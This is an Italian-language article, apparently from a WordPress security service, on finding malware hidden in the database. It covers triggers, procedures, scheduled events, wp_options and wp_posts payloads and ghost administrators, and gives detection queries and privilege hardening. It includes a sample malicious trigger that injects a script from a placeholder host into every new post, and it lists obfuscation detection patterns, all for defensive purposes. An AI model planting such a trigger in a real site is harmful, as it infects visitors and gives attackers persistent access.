Quando si parla di malware su WordPress si pensa ai file: un PHP sospetto nella cartella degli upload, un plugin modificato, un index.php con una riga in più. Ma un sito WordPress è fatto per metà di file e per metà di database, e il database è un posto eccellente per nascondere codice: non viene analizzato dalla maggior parte degli scanner di file, non viene confrontato con le copie originali di WordPress e, soprattutto, contiene i contenuti, le impostazioni e gli utenti, cioè tutto ciò che un attacco vuole controllare.
In questo articolo vediamo le forme più insidiose di infezione del database: i trigger SQL, le procedure e gli eventi pianificati di MySQL e MariaDB, i payload salvati in wp_options e wp_posts e gli amministratori creati di nascosto. E, per ciascuna, le query per trovarla.
Cos’è un trigger e perché interessa a chi attacca
Un trigger è un pezzo di codice SQL che il server di database esegue automaticamente quando su una tabella avviene un inserimento, una modifica o una cancellazione. Serve, per esempio, a tenere aggiornato un contatore o a registrare le modifiche in una tabella di storico. Vive dentro il database, non nei file dell’applicazione, e non ha bisogno di PHP per funzionare: si attiva ogni volta che qualcuno scrive nella tabella, chiunque sia.
Per chi attacca è una persistenza quasi perfetta. Un trigger BEFORE INSERT o BEFORE UPDATE sulla tabella degli articoli può modificare il contenuto proprio mentre viene salvato, aggiungendo uno script a ogni nuovo articolo o a ogni articolo che la redazione corregge. Il risultato è che si ripulisce un articolo, lo si salva, e il codice malevolo è di nuovo lì.
-- Esempio semplificato di trigger malevolo
CREATE TRIGGER wp_posts_bi BEFORE INSERT ON wp_posts
FOR EACH ROW
SET NEW.post_content = CONCAT(
NEW.post_content,
'<script src="https://esempio-malevolo.invalid/j.js"></script>'
);
Un’altra variante nota usa un trigger su una tabella poco sorvegliata, per esempio quella dei commenti: quando arriva un commento che contiene una parola chiave concordata, il trigger inserisce un nuovo utente in wp_users e gli assegna il ruolo di amministratore in wp_usermeta. L’attaccante non ha bisogno di nessun file sul server: gli basta lasciare un commento per riavere un accesso.
Trovare trigger, procedure ed eventi
I trigger non compaiono da nessuna parte nell’amministrazione di WordPress e nemmeno in molti strumenti grafici, se non si va a cercarli. Le query per elencarli sono però semplici:
-- Trigger del database in uso
SHOW TRIGGERS;
-- Lo stesso, con il codice completo di ogni trigger
SELECT TRIGGER_NAME, EVENT_MANIPULATION, EVENT_OBJECT_TABLE,
ACTION_TIMING, DEFINER, CREATED, ACTION_STATEMENT
FROM information_schema.TRIGGERS
WHERE TRIGGER_SCHEMA = DATABASE();
Nella maggior parte delle installazioni WordPress queste query restituiscono zero righe: né il core né i plugin più diffusi usano trigger. Qualche plugin può farlo, per esempio per registri di modifiche, e ogni trigger va quindi ricondotto al plugin che lo ha creato. Ma un trigger che nessuno sa spiegare è un indizio fortissimo.
Allo stesso modo vanno controllate le procedure e le funzioni memorizzate, e gli eventi pianificati di MySQL e MariaDB, che sono l’equivalente di un cron interno al database:
-- Procedure e funzioni memorizzate
SELECT ROUTINE_NAME, ROUTINE_TYPE, DEFINER, CREATED
FROM information_schema.ROUTINES
WHERE ROUTINE_SCHEMA = DATABASE();
-- Eventi pianificati e stato dello scheduler
SHOW EVENTS;
SHOW VARIABLES LIKE 'event_scheduler';
Il campo DEFINER indica con quale utente del database è stato creato l’oggetto, e il campo CREATED quando: due informazioni preziose per collegare l’oggetto al momento della compromissione.
Payload in wp_options
La tabella wp_options contiene le impostazioni del sito e di tutti i plugin, spesso sotto forma di valori serializzati molto lunghi. Il malware la usa in due modi: modificando opzioni esistenti, per esempio siteurl e home per un redirect completo o i widget di testo per iniettare script, e creando opzioni nuove che contengono codice da eseguire, letto poi da una backdoor minima nei file.
Le opzioni con autoload attivo vengono caricate a ogni richiesta, e questo le rende comode per l’attaccante. Alcune query di partenza:
-- Opzioni che contengono costrutti tipici del codice offuscato
SELECT option_name, LENGTH(option_value) AS dimensione, autoload
FROM wp_options
WHERE option_value LIKE '%eval(%'
OR option_value LIKE '%base64_decode%'
OR option_value LIKE '%gzinflate%'
OR option_value LIKE '%<script%'
OR option_value LIKE '%fromCharCode%'
ORDER BY dimensione DESC;
-- Indirizzo del sito: deve corrispondere al dominio reale
SELECT option_name, option_value FROM wp_options
WHERE option_name IN ('siteurl', 'home');
Anche qui un risultato non è automaticamente una prova: alcuni plugin salvano legittimamente frammenti di JavaScript o dati codificati in base64. Ogni opzione trovata va ricondotta al plugin che la usa, e un’opzione con un nome generico, grande e codificata, che nessun componente installato legge, va studiata con attenzione. Conviene anche ricordare che il prefisso delle tabelle non è sempre wp_: il valore giusto è in $table_prefix dentro wp-config.php.
Payload in wp_posts e wp_postmeta
Gli script iniettati negli articoli sono tra le infezioni più diffuse, perché basta una vulnerabilità di tipo SQL injection o un account da editore compromesso per inserirli. Spesso sono scritti in modo da non essere riconoscibili a colpo d’occhio: caratteri codificati, String.fromCharCode, script caricati da domini che imitano servizi noti, iframe invisibili.
SELECT ID, post_type, post_status, post_modified
FROM wp_posts
WHERE post_content REGEXP '<script|<iframe|fromCharCode|eval\\(|atob\\('
ORDER BY post_modified DESC;
La stessa ricerca va ripetuta su wp_postmeta, wp_termmeta e wp_comments: i page builder salvano molto contenuto nei metadati, e molti controlli si fermano alla sola tabella degli articoli. E prima di correggere i contenuti a mano, bisogna aver eliminato eventuali trigger, altrimenti il primo salvataggio li reinfetta.
Gli amministratori fantasma
Un amministratore creato dall’attacco è la backdoor più semplice di tutte: non serve nessun codice, basta fare il login. Per non essere notato, spesso ha un nome plausibile, un indirizzo email simile a quello del titolare, oppure viene nascosto dall’elenco utenti dell’amministrazione da qualche riga di PHP che filtra la query degli utenti. Per questo il controllo va fatto sul database, non nella schermata Utenti:
SELECT u.ID, u.user_login, u.user_email, u.user_registered
FROM wp_users u
JOIN wp_usermeta m ON m.user_id = u.ID
WHERE m.meta_key = 'wp_capabilities'
AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;
Se il numero di amministratori trovati è diverso da quello visibile nell’elenco degli utenti di WordPress, c’è quasi certamente del codice che ne nasconde qualcuno. Anche qui il nome della chiave dipende dal prefisso delle tabelle: con il prefisso abc_ diventa abc_capabilities.
Backup e ripristini: il trigger che ritorna
C’è un dettaglio che sorprende molti: mysqldump esporta i trigger per impostazione predefinita, mentre procedure ed eventi vengono esportati solo se si aggiungono --routines ed --events. Ripristinare un backup fatto dopo l’infezione significa quindi, molto spesso, ripristinare anche il trigger malevolo, insieme ai contenuti. Prima di usare un backup come base per la pulizia bisogna esaminarne il contenuto, trigger compresi.
Ridurre i privilegi dell’utente del database
Per creare un trigger servono i privilegi TRIGGER e, a seconda della configurazione, altri privilegi sulla tabella. Molte installazioni WordPress usano un utente con ALL PRIVILEGES sul proprio database, che quindi può creare trigger, procedure ed eventi senza limiti. WordPress per funzionare ha bisogno di leggere e scrivere dati e, durante gli aggiornamenti, di creare e modificare tabelle; i trigger e gli eventi non gli servono. Togliere i privilegi TRIGGER, CREATE ROUTINE, ALTER ROUTINE ed EVENT all’utente dell’applicazione riduce molto le possibilità di persistenza nel database, a patto di verificare prima che nessun plugin installato ne abbia davvero bisogno.
Il database è la metà del sito che si guarda meno. Per questo, in ogni intervento, lo analizziamo con la stessa cura dei file: trigger, procedure, eventi, opzioni, contenuti e utenti, prima di dichiarare un sito pulito. Se il tuo sito continua a reinfettarsi anche dopo aver ripristinato i file originali, il database è il primo posto da controllare, insieme alle attività pianificate del server.